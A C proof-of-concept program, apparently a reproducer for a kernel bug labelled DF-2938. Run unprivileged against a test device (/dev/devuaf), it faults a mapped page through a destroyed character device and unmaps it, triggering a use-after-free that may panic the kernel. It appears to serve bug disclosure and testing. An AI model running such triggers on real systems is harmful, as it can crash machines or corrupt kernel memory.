/*
 * trig.c -- unprivileged trigger for DF-2938
 *
 * Runs as nobody.  Steps:
 *   1. open /dev/devuaf (0666) and mmap 2 pages MAP_SHARED;
 *   2. fault page 0 while the device is alive -> reads 'A'
 *      (old pager fake-page insertion through the live cdev);
 *   3. signal readiness (argv[1] file), wait for the go-file argv[2]
 *      (root destroys + replaces the device in between);
 *   4. fault page 1 -- this is vm_fault -> dev_pager_getpage ->
 *      old_dev_pager_fault -> dev_dmmap(object->handle = FREED cdev);
 *   5. report what page 1 contains ('A' = normal, 'B' = fault served
 *      through the freed cdev / its replacement, i.e. UAF);
 *   6. munmap -> vm_object_deallocate -> dev_pager_dealloc ->
 *      old_dev_pager_dtor(freed cdev) -> KKASSERT(dev->si_object) on
 *      freed (possibly reused) memory.
 *
 * usage: trig <readyfile> <gofile> <outfile>
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/wait.h>

int
main(int argc, char **argv)
{
	volatile unsigned char *map;
	int fd, i, fd2;
	char c0, c1;
	FILE *out;

	if (argc != 4) {
		fprintf(stderr, "usage: %s readyfile gofile outfile\n",
		    argv[0]);
		exit(1);
	}
	setvbuf(stdout, NULL, _IONBF, 0);

	fd = open("/dev/devuaf", O_RDWR);
	if (fd < 0) { perror("open /dev/devuaf"); exit(1); }

	map = mmap(NULL, 2 * 4096, PROT_READ | PROT_WRITE, MAP_SHARED,
	    fd, 0);
	if (map == MAP_FAILED) { perror("mmap"); exit(1); }

	/* step 2: fault page 0 with the device alive */
	c0 = map[0];
	printf("TRIG: page0[0] = '%c' (expected 'A', device alive)\n", c0);

	/* step 3: handshake */
	fd2 = open(argv[1], O_CREAT | O_WRONLY | O_TRUNC, 0666);
	if (fd2 >= 0) close(fd2);
	for (;;) {
		if (access(argv[2], F_OK) == 0)
			break;
		usleep(20000);
	}

	/* step 4: fault page 1 with the device destroyed -> UAF */
	c1 = map[4096];
	printf("TRIG: page1[0] = '%c'\n", c1);

	out = fopen(argv[3], "w");
	fprintf(out, "page0=%c page1=%c uid=%d\n", c0, c1, getuid());
	fclose(out);

	/* step 6: munmap -> dtor touches the freed cdev (KKASSERT/panic
	 * if the chunk was reused; silent UAF-write otherwise) */
	if (munmap((void *)map, 2 * 4096) < 0)
		perror("munmap");
	printf("TRIG: munmap done, exiting\n");
	return (c1 == 'B' ? 0 : 2);
}
